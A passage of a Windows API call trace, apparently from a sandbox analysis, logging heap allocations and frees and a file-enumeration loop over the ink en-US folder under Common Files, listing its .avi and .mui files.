(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e0690) returned 1 [0045.525] NtClose (Handle=0x160) returned 0x0 [0045.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.526] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.527] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.527] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de5a8 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9decd8 [0045.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.527] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de5c8 [0045.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dede0 [0045.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de5e8 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9deee8 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de608 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9deff0 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de628 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df0f8 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de648 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df200 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de668 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df308 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e06a8 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df410 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e06c8 [0045.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df518 [0045.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e06e8 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df620 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x380) returned 0x9e0e90 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d63e8) returned 1 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0708 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df728 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0728 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df830 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.530] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0748 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9df938 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0768 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dfa40 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0788 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dfb48 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e07a8 [0045.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dfc50 [0045.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e07c8 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dfd58 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e07e8 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dfe60 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.532] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 